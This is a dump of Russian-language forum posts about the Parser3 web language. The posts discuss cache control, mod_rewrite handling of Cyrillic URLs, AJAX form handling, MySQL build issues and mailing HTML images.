у него стоит задача -- зная ключ изменить время кэширования _уже_закэшированного_ по определённым условиям.\
\
в принципе возможно добавить ^cache[key](cache-time), которое будет просто изменять время кэширования для не нулевого cache-time и удалять кэш файл при нулевом значении cache-time."
"73552","нет ли возможности добавить ^cache.contains[key], ^cache.get[key], ^cache.set[key](expires)[data]?\
\
Позволило бы удобно расширять нативное кэширование, без организации писанины в файлы."
"73554","Файл может существовать, но быть протухшим.\
А проверять необходимо с учётом актуальности.\
\
\
Ещё про очевидный ^cache.delete[key] я забыл."
"73555","буду не оригинален: опиши задачи, где требуется contains, get и set :)\
\
P.S. ^cache[key] -- оказывается это есть уже сейчас. удаляет ключ %-)"
"73556","[quote]затем проходит некоторое время и мы [b]хотим заменить значение в кеше на другое[/b], причем время кеша к этому моменту ещё не истекло...[/quote]\
\
Поэтому я и предлагал поставить минимальное время в тот момент, когда нужно перегенерировать кеш. А при следующем вызове использовать большое значение для времени, чтобы вызвать обращение к кешу."
"73557","по моему мы немного о разном. хотя мне кажется, я понял его задачу (у самого такая возникает часто):\
\
например есть новость в БД. мы её выводим под кэшом и содержимое запоминаем надолго. мы знаем, что оно должно быть запомнено надолго, т.к. новости обычно не меняются.\
\
но вдруг в голову редактора приходит гениальная мысль как переформулировать пару предложений в новости или что надо исправить в тексте ошибку. он вносит правку в новость (БД) и надо как-то сбросить кэш этой новости.\
\
т.е. только после того, как новость была закэширована стало известно о том, что содержимое кеша надо обновить. заранее это неизвестно (хотя да, можно что-то сделать, например сразу после создания новости мы можем плавно увеличивать время её кэширования, например в первые сутки -- на 3 минуты, во вторые -- на 10, далее -- надолго)."
"73559","так не будет работать.\
время, на которое кешируется запись запоминается в файле.\
т.е. ты можешь при следующем обращении указать оператору cache маленькое время, но это ни на что не повлияет, т.к. запись будет считаться актуальной пока не \"протухнет\" то время, которое было записано в файле.\
\
пример:\
[code]\
$sKey[/../temp/z]\
$bRecreate(-f $sKey)\
^cache[$sKey](^if($bRecreate)(1;60)){\
	$dt[^date::now[]]\
	^dt.sql-string[]\
}\
[/code]\
\
как видишь, на первой итерации (когда файла кеша нет) устанавливается время 60 сек.\
т.е. в течении 60 сек ты ходь обнажимайся F5, время обновляться не будет, а будет выводиться то содержимое, что в кэше.\
после того, как минута пройдёт, время будет обновляться раз в секунду."
"73560","Впервые слышу про то, что время устаревания хранится в файле - всегда думал, что оно рассчитывается штатным образом по данным fstat(). Может этот момент стоит указать в документации явно? А еще лучше сделать правильный рассчет на каждой итерации, раз уж все равно приходится файл кеша читать."
"73562","В целом про новости верно, хотя у меня немного другое - у пользователя есть настройка, которая влияет на его поведение на сайте, т.е. \"режим работы\". \
Настройка устанавливается пользователем и кладется в БД. Затем при гулянии пользователя по сайту, чтобы каждый раз не брать её из базы она надолго кешируется. (так сложилось, что проще проверить файл на диске... хотя вот сейчас пришла мысль как получить её из базы дёшево...).\
\
Далее, при изменении настройки пользователем появляется необходимость заменить значение в кеше, который ещё не истёк. По идее можно было бы просто удалить кеш и при загрузке следующей страницы он бы автоматически сформировался... но мы не ищем легких путей :) Поскольку настройка уже известна, я захотел подставить её в кеш сразу же, и, глядя в документацию, написал ту строку о которой речь:\
\
[code]\
$value[3]\
$tmp[^cache[test.ch](0){^cache(31536000)$value}]\
[/code]\
\
и оказалось что команда ^cache(), изменяющая время кеширования, не работает в случае если изначально указано нулевое время.\
\
P.S. Зря я использовал кеш для этой цели, надо было просто сохранять эту настройку в виде строки: ^value.save[usermodes/username.ch]\
\
P.P.S. В соответствии с последними мыслями надобность в кешировании вообще отпадает, буду тащить настройку из базы"
"73563","эта команда умеет только _уменьшать_ время кэширования.\
\
по моему в вашем случае лучше дёргать БД. по уникальному ключу это будет быстро (СУБД сама будет кэшировать), а при работе с файликами вы получаете блокировки и доп. дисковые операции (которых и так немало)"
"73564","[quote]опиши задачи, где требуется contains, get и set[/quote]\
\
Как уже сказал, [i]позволило бы удобно расширять нативное кэширование, без организации писанины в файлы.[/i]\
Т.е. строить свои системы кэширования, используя нативные механизмы и формат хранения, который, есть сведения, много быстрее записи и чтения строк.\
\
Методы требуются для реализации дополнительной логики инвалидации.\
\
[quote]^cache[key] -- оказывается это есть уже сейчас. удаляет ключ[/quote]\
\
Толково!"
"73565","О! Черным по белому написано в доках: \"Берется минимальное время хранения кода.\"\
Где были мои глаза... :)"
"73567","Прочитал документацию, там описано как изображение сделать аттачментом. Но мне нужно просто в тексте письма изображение. Как это сделать?"
"73568","http://www.parser.ru/docs/lang/mailsend.htm\
\
[code]Пример с альтернативными блоками и вложениями: \
^mail:send[ \
    $.from[Вася <vasya@hotmail.ru>] \
    $.to[Петя <petya@hotmail.ru>] \
    $.subject[как дела] \
    $.text[Как у тебя дела? У меня изумительно!] \
    $.html{Как у тебя дела? У меня <b>изумительно</b>! \
        <br /><img src=\"cid:pic2\" width=\"100\" height=\"50\" border=\"0\" /> \
    } \
    $.file[^file::load[binary;perfect_life1.jpg]] \
    $.file2[ \
        $.value[^file::load[binary;perfect_life2.jpg]] \
        $.name[изумительная_жизнь2.jpg] \
        $.content-id[pic2] \
    ] \
] [/code]"
"73569","1 октября 2010 г. Яндекс проводит в Москве свою [url=http://company.yandex.ru/public/yac/]первую профессиональную конференцию для разработчиков[/url]. А есть ли у нас на форуме те, кто собираются туда пойти? :)"
"73572","В общем наткнулся на грабли, что на хосте нет 64битной библиотеки mysql, решил не мучатся с этим и попробовать собрать 32 битную версию, гнаться мне за 64 битами смысла нет.\
Может у кого есть опыт в таких делах?"
"73573","Всем доброго ...\
Столкнулся с такой проблемой.\
Хочу match'ем разбивать uri и затем проверять команды.\
С латиницей проблем никаких.\
С кириллицей начинаются проблемы :( \
\
[code]\
$str[$request:uri]\
$str2[^taint[uri][/новости]]\
^if($str eq $str2){ \
   Строки равны\
         }{ \
   Строки не равны $str2 \
                        }\
[/code]\
\
Строки с кириллицей всегда \"не равны\" почему-то, хотя если вводим латиницей - строки равны.\
При этом визуально (в браузере) строки равны.\
\
Почему так?\
\
Заранее благодарю!"
"73574","Станет очевидно.\
\
\
Неясно зачем вы делаете ^taint[uri]."
"73575","Спасибо!\
Действительно не равны :(\
\
Например, для раздела Новости:\
/новости\
К парсеру приходит:\
/%D0%BD%D0%BE%D0%B2%D0%BE%D1%81%D1%82%D0%B8\
Чтобы не заменять по таблице или не использовать mod_rewrite (пока просто не знаком с ним) хотел перекодировать с помощью taint, т.е. привести к общему виду.\
Но похоже на то, что парсер пачкает только непосредственно перед выдачей браузеру :(\
\
Можно ли средствами самого Парсера как-нибудь провести сравнение строк?"
"73576","Попробовал mod_rewrite под Win+denver. \
Столкнулся с проблемой, как и Вы когда-то http://www.parser.ru/forum/?id=73081\
Вам удалось решить её?\
\
Тэги будут на русском и передаваться в URL (ЧПУ) - вот это и пытаюсь реализовать."
"73577","Решение сводится к замене человеческого текста на тот, что приходит :)\
Работает без мод-рерайта через 404.\
Беспокоит только одно - под UNIX системами строка будет приходить такой же? Т.е. не придётся переписывать ?\
\
[code]\
$str[$request:uri]\
$str2[^taint[uri][/%D0%BD%D0%BE%D0%B2%D0%BE%D1%81%D1%82%D0%B8]]\
^if($str eq $str2){ \
   Строки равны\
         }{ \
   Строки не равны $str2 \
                        }\
[/code]\
\
Теперь строки равны для примера с /новости"
"73578","Решение подходит для статичных ссылок, но не для тех, что будут формироваться по данным из бд :( , т.к. из полей формы приходит \"беспроцентный UTF\".\
Проход с заменой по таблице - слишком медленное занятие (если будет большое число посетителей)."
"73579","тогда получаемое значение будет автоматически декодировано из %XY и вы в ваших строках будете иметь нормальные русские буквы."
"73580","Спасибо!\
Я вчера сразу же почитал и попробовал mod_rewrite, но под Win есть какая-то проблема с этим самым преобразованием и в параметры переходят либо отдельные символы, либо вообще ничего, а точнее строка вида ???N?N?? в поле qtail.\
Чуть ниже я писал об этом.\
G_Z тоже сталкивался с подобным. Надеюсь, что он нашёл выход и подскажет :)\
Похоже, что под Unix не должно быть этой проблемы. \
\
З.Ы.: mod_rewrite отличная штука :) Маленькая строчка, а позволила отказаться от обработки через 404 (хотя по-идее тоже самое делает) и избавиться от проблем с формами (не нужно явно указывать кто будет обрабатывать форму).\
\
[code]\
Options -Indexes\
\
RewriteEngine On\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule ^(.*)$ index.html [QSA]\
\
[/code]\
\
Про ключи ещё не читал, но работает и с L и c QSA."
"73581","да, G_Z сталкивался. и по его просьбе я сталкивался. у меня сработал найденный им-же workaround, заключающийся в добавлении одного ключика.\
\
P.S. возможно проблема в чём-либо другом, например в неверно заданных кодировках, и это вылезает когда вы начинаете работать с form. вы всё равно столкнётесь с этой проблемой, только чуть позже."
"73582","Везде советуют их проверять.\
Все файлы в UTF-8.\
request и response - UTF-8\
БД - UTF-8 \
Короче, говоря - тотальный UTF-8\
AddDefaultCharset UTF-8 не помогает.\
\
Чую, нужно идти читать про ключи :)\
\
Спасибо!\
\
Вечером ещё побьюсь с проблемой."
"73583","RewriteRule ^(.*)$         index.html?test=%{REQUEST_URI} [L]\
строка искажена, но\
RewriteRule ^(.*)$         index.html?test=%{THE_REQUEST} [L]\
тут видно нормальную строку, но есть лишние данные :("
"73584","парсер собрал, перешел на левел 2 сборка mysql либы +)\
главное не забыть сделать перед этим сделать make clean && make distclean"
"73585","и вы нашли проблему, которую упоминал G_Z и добавили соотв. ключик?"
"73586","В том то и дело, что разницы нет.\
Проблема такая же как и у G_Z - кириллица в строке приходит в виде ??N????N?? .\
Ключи просмотрел и все перепробовал :) Ничего не помогает.\
Пока только одно решение - идти на таран и разбирать THE_REQUEST (будет максимально кроссбраузерно и кроссплатформенно :)"
"73587","Ключ B.\
Но у меня под Apache 2.2.11 Денвера не заработало.\
Под Nix при этом на 2.*.* всё в порядке.\
\
Для меня оно локально не критично, главное, что работает на сервере, потому не забарывал."
"73588","В строке \
archive_cmds=\"\\$CC -shared \\$libobjs \\$deplibs \\$compiler_flags \\${wl}-soname \\$wl\\$soname -o \\$lib\"\
переменная compiler_flags не как не заполняется в самом скрипте, скорее всего в неё надо положить CFLAGS скорее всего\
В общем добавил в строку перед -shared [b]-m32[/b] и все прекрасно собралось и заработало)."
"73589","Не совсем понимаю, что произошло. При попытке зайти на парсеровские страницы возникает это сообщение. Сам же парсер при этом работает, если сделать проверку его функционирования ([сайт]/cgi-bin/parser3.cgi). Думал, что хостеры систему поменяли - так нет, осталась та же FreeBSD 5.4. Подумал, что испорчен сам cgi-файл (мало ли) и залил новый, установил права - то же сообщение об ошибке. Что случилось тогда?"
"73590","[b]во-первых[/b]: вообще вы пишете не правильное правило - оно у вас \"зацикливается\", независимо от флага [L]. вам нужно отменить обработку правил на сам физический файл:\
[code]# отменяем редирект для файлов, содержащих символ подчеркивания\
RewriteRule ^_ - [L]\
# все запросы редиректим на файл _index.html, расположенный в корне\
RewriteRule (.*)  /_index.html?request=$1 [L][/code]\
[b]во-вторых[/b]: как вам и писал G_Z, чтобы передать не-ASCII символы (к коим относятся и символы русского языка) следует в правилах задать флаг [B]. то есть конечный .htaccess у вас будет содержать примерно следующие строки:\
[code]# отменяем редирект для файлов, содержащих символ подчеркивания\
RewriteRule ^_ - [L]\
# все запросы редиректим на файл _index.html, расположенный в корне, и разрешаем использовать русские символы в строке запроса\
RewriteRule (.*)  /_index.html?request=$1 [L,B][/code]\
но есть одно \"но\" - не все Апачи поддерживают данный флаг. вам следует для начала проверить, работает ли он у вашего хостера, чтобы использовать его в дальнейшем."
"73591","В общем есть форма и я хочу отправить данные в файл обработчик данные, с помощью ajax (jquery.post).\
Как файлом обработчиком получить переменные, которые отправляю jquery.postом?"
"73594","Доброго ...\
[b]onlyyours[/b]\
Спасибо!\
Но ... (чтобы было понятнее)\
1. С mod_rewrite столкнулся сегодня ночью :)\
2. Прежде, чем задавать любые вопросы на форумах (любых), я читаю и эксперементирую. Когда мозг ломается (не хватка знаний, сложная задача, не выполнимая задача) я начинаю спрашивать.\
3. Следствие п. 2 :) Мишин и G_Z'а стёб, в данном случае, не уместен и прошёл мимо. Ибо ещё до вопроса были попытки прописать [B]. \
4. До хостера ещё далеко. Сейчас пытаюсь на Дэнвере. Почему? Убого? \
Есть виртуалка. Стоит FreeBSD. Но там пока разбираюсь с ZFS :) \
В планах VDS-> выделенный сервер. Ранее никогда ничего не администрировал.\
Т.е. поток информации сейчас огромный :)\
Общий план:\
4.1. Разработка структуры БД - готово\
4.2. Написание кода на Парсере - в разработке\
4.3. Установка и тесты на локальной машине через виртуальные машины - частично выполнена установка\
4.4. Установка и тесты на реальном VDS.\
4.5. Запуск проекта :)\
5. Похоже придётся раз и на всегда разобраться с Регэкспом, т.к. условности условностей до меня доходят, как ... \
Самое главное - что значит зацикливается? Вроде бы L означает, что после проверки правила, мы никуда больше не идём, т.е. не смотрим другие правила рерайта (их и нет). Зачем оно может просматривать снова и снова строку? Там (на сколько я понимаю) прописано, что всё, что с точкой кидать на index.html. Точка у нас в любом случае будет. Видимо где-то не понимаю.\
6. Мне проще и понятнее написать (без алгоритмов под рукой) на чистом АСМе с минимумом сис калов написать НоутПад. Абстракция это хорошо, но не всегда. Иногда она излишне абстрактна :)\
7. Ключ B не работает, точнее вываливает ошибку (как и писал Denwer (Apache/2.2.4 (Win32))). Его сразу и пробовал. Можно добить виртуалку, но тогда весь план рушится :) Последовательность изменяется. \
8. В приведённом мною примере с THE_REQUEST  есть преимущество :) Хоть и не красиво, но будет работать, правда с нагрузкой на Парсер. \
От мод-рерайта нам требуется только первая ступень защиты и передача запроса на index.html (жаль, что нормально только через заголовки). Понятно, что спецификации и т.п., но на дворе уже 21 век :) Пора работать с локальными кодировками без танцев.\
Заключение :) :\
Т.к. решения проблемы на сей момент так и не придумано, пошел (как и планировал) разбирать чистый запрос (там пару пробелов отбросить и усё).\
[b]onlyyours[/b]\
Ваш пример (даже без B) кидает в 500 :("
"73595","Класс. И не вернуться, а там было 9 с гаком пунктов. \
Лан, пойду мучаться дальше (без B) :)"
"73596","Доброго ...\
Не знаю, каким способом Вы пользуетесь (Миша спросил: \"А Вы моим классом пользовались или сами топориком работали?\").\
Могу сказать про свой опыт 2005 :)\
1. Версия // JSHttpRequest v1.2. (C) Dmitry Koterov, 2005-01-27. \
2. Что-то где-то я обрубал. В индексе (auto.p) остался такой код:\
//--></script>\
<script language=\"JavaScript\" \
 src=\"../JSHttpRequest.js\"></script>\
<script>\
  function doLoad(which,rdt) {\
  document.getElementById(which).innerHTML = '<br><b><center>... СЕКУНДОЧКУ ...</center></b><br>';\
    var query = '' + rdt;\
    var req = new JSHttpRequest();\
    req.onreadystatechange = function() {\
      if (req.readyState == 4) {\
        document.getElementById(which).innerHTML = \
          req.responseText;\
      }\
    }\
    req.caching = true;\
    req.open('GET', 'load.html', true);\
    req.send({ q: query });\
  }\
  var timeout = null;\
  function doLoadUp(which,elm) {\
  var tt=null;\
  tt=which+'&first=' + document.getElementById(elm).value + '&second=' + elm;\
    if (timeout) clearTimeout(timeout);\
    timeout = setTimeout(doLoad(which,tt), 1000);\
  }\
</script>\
3. Файл обработчик принимает (как обычно) переменные из form. Вы же форму передаёте? \
\
Ограничения - нет экранирования и перекодировки. Использовано не в явном виде + старое + обрубленное + парсер = 5 лет работает у знакомого магазин и школьнеги с клавиатурами отдыхают :) (конкуренты периодически падают от всего (инъекции, xss и т.п.). Честно говоря, сейчас уже не вспомню, что я с ним делал, чтобы он заработал :)\
\
Файл обработчик выглядит так:\
[code]\
@answer[]\
^if($form:q eq \"dname\"){ \
.....\
}\
\
@main[]\
$response:content-type[text/javascript]\
$data[JSHttpRequest.dataReady^(\
  $form:id,\
 ^[ ' ^answer[] ' ^]\
^)\
]\
$data\
\
[/code]\
\
Надеюсь поможет :)"
"73597","Я вот разобрался, только не совсем. Вот ajaxом передаю в обработчик ассоциативный массив, в обработчике как данные принять в ассоциативый массив? В две отдельные переменные получилось, а в массив нет ("
"73598","Если бы не одно но ...\
Внесли его все в чёрный список. \
Вместо того, чтобы проверять и сопоставлять параметры iframe все просто блокируют сам тэг :(\
С его помощью можно было бы аякс без аякса организовать. \
Нет никаких скриптов, работает быстро. Вставляй куда и как хочешь. Легко обрабатывать Парсером и т.д.\
Но увы :("
"73599","[quote]Мишин и G_Z'а стёб, в данном случае, не уместен и прошёл мимо.[/quote]\
\
Дабы не быть далее обвинённом в стёбе, любые ответы адресно впредь прекращаю.\
Всего хорошего."
"73600","Чем же я так мог задеть Вас?\
Лично у меня сложилось впечатление, что ни Вы ни Миша не прочитали всё, что я написал.\
Возможно сумбурно, возможно много, возможно криво, но написал.\
Я написал, что прошёл по Вашим стопам (советам), прошерстил Интернет и т.п.\
После этого Вы и Миша даёте советы, которые бы дал Капитан Очевидность :)\
Ну если уж так обидел, то извините.\
Просто в любом случае - проблема осталась проблемой, вопросы остались вопросами :("
"73601","и сделайте доброе дело: копи-паст сюда всего .htaccess"
"73602","[Tue Sep 28 21:08:37 2010] [error] [client 127.0.0.1] Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.stereookno.com/%D1%81%D1%82%D0%B0%D1%82%D1%8C%D0%B8\
[Tue Sep 28 21:08:37 2010] [error] [client 127.0.0.1] Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.stereookno.com/%D1%81%D1%82%D0%B0%D1%82%D1%8C%D0%B8\
\
Из-за ограничения на длину - продолжение в следующем сообщении"
"73603","Options -Indexes\
Options FollowSymLinks\
ErrorDocument 404 /index.html\
\
RewriteEngine On\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule ^_ - [L]\
RewriteRule (.*)  /_index.html?request=$1 [L]\
\
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3.cgi\
\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
<IfModule mod_charset.c> \
  CharsetRecodeMultipartForms off \
</IfModule>\
\
Выброшены только коментарии.\
\
При флаге [B]: \
\
RewriteRule: unknown flag 'B'"
"73604","RewriteRule ^_ - [QSA]\
RewriteRule ^(.*)$ _index.html?show=%{THE_REQUEST} [L]\
\
Убран слэш перед индексом + первый ключ заменён.\
Если я правильно понял, то после [L] остальные правила не обрабатываются, что и приводит к ошибкам. \
$1 всегда равно REQUEST_URI в моих тестах, поэтому поставил THE_REQUEST. \
Зацикливается, как я понял, - значит пробегает по всему каталогу (по всем файлам), а первая директива позволяет не делать этого, а обращаться сразу же к файлам начинающимся с подчёркивания? так?"
"73605","RewriteCond %{REQUEST_FILENAME} !-f - будет вызывать рекурсию\
вот вам 2 варианта развития событий:\
\
[b]1.[/b] алгоритм работы: проверяем наличие папки, если нет - обрабатываем редирект, иначе загружаем индексный файл заданной директории.\
[code]RewriteEngine On\
# проверяем на наличие директории\
RewriteCond %{REQUEST_FILENAME} !-d\
# если директории нет - редиректим на корневой index.html\
RewriteRule ^(.*)/$  /index.html?request=$1/ [L,QSA]\
# обработчик 404 ошибки\
ErrorDocument 404 /404.html[/code]\
\
[b]2.[/b] здесь проверку на наличие директории придется делать в коде, если вам это понадобится.\
[code]RewriteEngine On\
# отменяем редирект для файлов, содержащих символ подчеркивания\
RewriteRule ^_ - [L]\
# все запросы редиректим на файл _index.html, расположенный в корне\
RewriteRule (.*)  /_index.html?request=$1 [L,QSA][/code]\
\
заменяйте в блоке, где у вас идут директивы модуля mod_rewrite\
[b]udp[/b]: пожалуйста, разберитесь в том что я вам написал, прежде чем просто копировать к себе"
"73606","И чего люди не сделают, чтобы к хостеру не обращаться. :) \
\
Кстати не понял, mysql у них что-ли на другом хосте? Или они под 64-х битной OS \
используют 32-х битный mysql (как-то это нетрадиционно, прямо скажем :)?\
Вот тут какая библиотека mysql - ldd `which mysql`?\
\
P.S. Даже я бы наверное не парсер пересобирал, а правильную библиотеку mysql искал \
бы - у него вроде как под любую OS есть бинарники. Мы даже думали их на parser.ru\
все выложить (довольно часто подобные проблемы возникают), но так и не собрались. :)"
"73607","Но что именно - непонятно. Как вариант \"обмана\"\
- попробовать сделать исполняемый parser.sh, состоящий из\
\
#!/bin/sh\
./parser3.cgi\
и поставить обработчиком его. Note: Unix переводы строк.\
\
А какое точное сообщение об ошибке? Например вот такое Warning: Unexpected character in input: ''' (ASCII=39) state=1 in <имя> on line 343\
умеет php выдавать, если его обработчиком поставить."
"73608","[quote]\
Лично у меня сложилось впечатление, что ни Вы ни Миша не прочитали всё, что я написал.\
[/quote]\
\
да, я всё не читал и не пытался во всё вникать. \
\
- зачем вникать, если вы изначально пытаетесь идти неправильным путём (использовать $request:uri, который не перекодируется)?\
\
- сложно вникать в десяток сообщений (ага, редактирование своих сообщений отменили), в которых отсутствуют очевидно необходимые подробности (OS, версия Apache)\
\
- вы не поверите, но ответы капитана очевидности пользуются наибольшим спросом. чтобы взять не думая то, что уже было описано в куче мест, но ещё написано в ответ на вопрос и пользоваться. я, правда, очень стараюсь так не отвечать.\
\
но вот стебаться и не собирался."
"73609","Спасибо!\
Чувствую, что проблем с кодировкой это всё равно не решит.\
1. Попробовал свой кривой способ (через split) - работает.\
2. Есть подозрение, что передачу запроса через поле формы нужно делать в контексте сервера, т.е. в httpd.conf. Судя по тому, что я прочитал, строки на входах в контексте сервера и в контексте каталога могут различаться.\
Завтра ещё немного помучаюсь :)"
"73610","из вопроса было совершенно неясно, знает-ли вопрошающий о $form с $request:body, о том что у разработчика на парсер почти нет разницы между get и post и вообще какого уровня у него возникли проблемы.\
\
потому и спросил."
"73611","если да, то могу предложить взять head версию, в которой уже реализованы парсинг json строк в парсерные объекты (со всеми перекодированиями) и выдачу парсерных объектов в виде json строк (минимальные подробности см. в operators.txt)\
\
P.S. заодно и потестировать поможете."
"73612","т.е. без ключа B после рерайта вместо русских букв получается фигня, но ключ B всё \"чинит\"."
"73613","Как парсером узнать id последней добавленной записи в таблицу?\
Вот есть запрос на вставку записи в таблицу, можно ли в одном запросе на вставку узнать сразу вставленный айди, или средствами парсера есть что-нибудь?"
"73614","Например, http://dev.mysql.com/doc/refman/5.1/en/information-functions.html#function_last-insert-id"
"73615","Спасибо, очень быстро отвечаете =)"
"73617","ОС: Windows\
Версии ПО:\
denwer 3\
apache 2.2.4\
\
[b]Задача:[/b]\
Передавать в URL символы кириллицы в формате UTF-8 для разбора и поиска в БД (тэги).\
\
[b]Проблема:[/b]\
$request:uri\
$env:QUERY_STRING\
Приходят в формате %xx и сравнение со строкой из БД (и в тексте скрипта) в формате UTF не возможно, т.к. строки будут не равны. \
\
[b]Некоторые варианты решения проблемы:[/b]\
1. Самый простой способ (но не подходящий для меня из-за используемых версий ПО) - использовать mod_rewrite с ключом B, как предлагают Misha v.3 и G_Z.\
Ключ B появился в 2.2.7, в моём случае 2.2.4, поэтому выдаётся ошибка и в логах появляется запись, что ключ B не опознан.\
Передача строки запроса идёт через $form. \
2. Кривоватый, но работоспособный.\
Передача строки запроса идёт также через $form, но в качестве параметра используем %{THE_REQUEST} - \"сырой\" запрос. Однако строка с этим запросом будет иметь вид: GET /статьи HTTP/1.1, т.е. содержать лишнюю информацию и требует работы топором (split). После чего, получаем табличку cmd. cmd.1 содержит искомую строку запроса в формате UTF.\
\
[b].htaccess[/b]\
\
[code]\
ErrorDocument 404 /index.html\
\
<IfModule mod_rewrite.c> \
RewriteEngine On\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteCond %{REQUEST_FILENAME} !-f \
RewriteRule ^.*$  index.html?req=%{THE_REQUEST} [L]\
</IfModule>\
[/code]\
\
[b]index.html[/b]\
[code]$comands[$form:req]\
$cmd[^comands.split[^#20;lh]]\
[/code]\
Т.к. у меня будет всего один обработчик - index.html, то буду ещё и делить на POST и GET, которые можно брать либо из $env:REQUEST_METHOD либо из разбитой строки (индекс 0).\
\
Возможно есть и другие варианты передачи \"сырой\" строки запроса.\
Буду рад, если кто-то поделится.\
Для юникс системы разбиение не потребуется, т.к. там уже будет работать ключ [B], хотя нужно будет ещё посмотреть, как он работает :)"
"73619","Неа :)\
Есть проблема - должно быть решение в данных условиях :)\
Т.к. опять нужно читать и искать \"...Как там у нас избы строятся ...\", проще и интереснее решить первую задачу.\
\
[b]bug report[/b]\
Чтобы не отвечать отдельно на \"ага, редактирование своих сообщений отменили\" отвечу здесь (меньше ответов - проще читать :)\
1. Редактирование своих сообщений работает не понятно (лично для меня). Было бы логично, если на сообщение ответили, поэтому его замараживаем. НО есть свои сообщения без ответов на них и нет кнопки \"Изменить\". Думал, дата влияет, ан нет. В некоторых старых сообщениях есть таки заветная кнопочка \"Изменить\".\
2. Если есть возможность, то посмотрите содержимое БД вот по этому сообщению \
http://www.parser.ru/forum/?id=73594\
Там я написал [code]ключ [B][/code] без экранирования тэгами code, поэтому сообщение обрезается при выводе. Т.е. воспринимается, как открытый и не закрытый тэг и сообщение ломается, но в БД лежит целёхонькое.\
Увидел и понял это сегодня, т.к. опять обрезанным выдалось сообщение выше, но успел исправить.\
\
Это конечно не баг репорт, но желательно что-то с этим сделать :)"
"73620","воспользуйтесь хаком:\
заведите две глобальные переменные и забудьте про всякие подстановки в mod_rewrite\
[code]$uri[^string:js-unescape[$request:uri]]\
$query[^string:js-unescape[$env:QUERY_STRING]][/code]\
P.S.: возможно будут проблемы с кириллицей в $query. В $uri проблем быть не должно (всё, что до /?)."
"73621","Спасибо Вам, Добрый человек :) !!!\
Я даже смотрел в эту сторону. Иногда лучше не думать, а пробовать :)\
\
Тут встаёт ещё один вопрос :)\
Что быстрее?\
Откинуть split'oм или перекодировать внутренней функцией?\
mod_rewrite будет использоваться, просто планировался к изучению немного позже, но получилось вот так.\
\
А решение отличное, особенно, если mod_rewrite не планируется использовать.\
\
Ещё раз спасибо!"
"73622","уважаемый Petr_04, вы вообще понимаете что несете и пишете?\
\
в вашем [i].htaccess[/i] 3 ошибки как минимум:\
[b]1.[/b] обращение к корню и обработчик 404 ошибки у вас ссылаются на один файл.\
[b]2.[/b] зачем вы набубенили 2 проверки, сначала на наличие директории, затем на наличие файла - это понятно только для высших и неземных цивилизаций. и это будет являться последствием 3 ошибки, написанной ниже\
[b]3.[/b] при обращении к директории (если она существует):\
[b]а)[/b] у вас в любом случае появятся экранированные русские символы\
[b]б)[/b] даже при существовании этой папки и индексного файла в ней, апач криво выдаст содержимое директории (независимо от того, включена ли у вас опция [i]Options -Indexes[/i]). если у вас не будут существовать директории как \"на всякий случай\", то на кой вы сделали 2 первых директивы для проверки?\
\
зачем вы написали \"лишние\" директивы [i]<IfModule>[/i] для проверки на наличие модуля mod_rewrite - тоже не совсем понятно. Без этого модуля у вас один фиг сайт не будет нормально функционировать, а точней вообще не будет.\
\
небольшой деклеймер - слова, написаные мной ниже не претендуют на истину в последней инстанции, это лишь мои наблюдения и выводы.\
я считаю, что использование русских символов на данный момент является крайне безобразным, так как строка запроса будет состоять из 2 языков: на половину английской и на половину русской (http://mymegacoolsite.ru/а_тут_мы_заговорили_по-русски).\
предполагаю, что вы загорелись этой бессмысленой идеей увидев ее на Википедии.\
еще такая мелочь - побезаботьтесь о своих пользователях, которым придется переключать клавиатуру, когда они будут набирать ваш адрес.\
благодарю за внимание."
"73623","Попробовал вариант с parser.sh — не получилось (права выставлял такие же, как у оригинального парсера, 755. Пробовал и без них). Сервер выдает сообщение об ошибке, мол, не может запустить приложение. (Сайт расположен на hс.ru, если это о чем-то говорит.) Написал вчера еще письмо в техподдержку, но до сих пор жду ответа.\
\
Точное же сообщение об ошибке парсера.cgi такое:\
Warning: Unexpected character in input: ' in [сайт]/cgi-bin/parser3/parser3.cgi on line 170\
\
Parse error: parse error, unexpected T_STRING in [сайт]/cgi-bin/parser3/parser3.cgi on line 170"
"73624","Прежде чем пользовать этот способ, разберитесь, какие могут быть проблемы.\
Суть проблем: разные браузеры [b]по-разному[/b] кодируют url при отправке запроса. Например, если вбить руками ссылку http://site.ru/?query=тест в адресную строку, то IE отдаст в win-1251, а Chrome в utf-8.\
А т.к. в парсере всё считается за utf (в вашем примере), то будут фатальные ошибки при работе с query строковыми методами (match, split и т.д.).\
\
В части url до /? этих проблем не будет, как ни странно. (http://site.ru/тест/) всё ок.\
\
Поэтому, все ссылки на сайте советую формировать таким образом, чтобы любые query-параметры были заэскейплены (taint[uri]).\
\
split очень быстрый метод.\
\
mod_rewrite всё равно придётся использовать, если хотите иметь один обработчик на весь сайт (index.html в вашем примере)."
"73625","Огромное спасибо за обстоятельное и развёрнутое сообщение!\
Без всякой иронии!\
Вы немного недопоняли мою задачу.\
А у меня не хватает знаний, чтобы чётко прописать правила. Просто так работает, как мне нужно :)\
Сразу же отвечу про википедию и кириллицу - нет. Я прочитал про ЧПУ в Ководстве и видел на нескольких ресурсах реализацию ЧПУ+кириллица, но она там криво реализована (расписывать не буду, а то много там). \
\
Ещё уточню структуру:\
/\
index.html\
      /css \
      /js\
      /images\
Всё! Больше ничего не будет. Все, абсолютно ВСЕ запросы идут на index.html.\
В подкаталогах не будет индексов. Я, наверное, ещё и 403 повешу на index.html :) , чтобы совсем весело было некоторым (я отдельных будущих посетителей). \
Правила с !-f и !-d я примерно понимаю (если файл не существует, то применить правило и с каталогом тоже самое), что мне и нужно. Стили слетают и т.п., если не использовать эти ключи совместно ([b]ещё раз позже проверю[/b]).\
\
 Уже не помню, но натыкался на то, что правило в определённых случаях (символ & дописать по-моему) не срабатывает и выдаётся 404 ошибка. Тут преимущество mod_rewrite даёт о себе знать, т.к. в строке с THE_REQUEST вся часть, включая &, отбросится. И это правильно, ибо нефиг писать в строке запроса всякую дрянь :)\
\
<IfModule ... \
Тут у меня жёсткое не понимание :)\
Спасибо, уберу.\
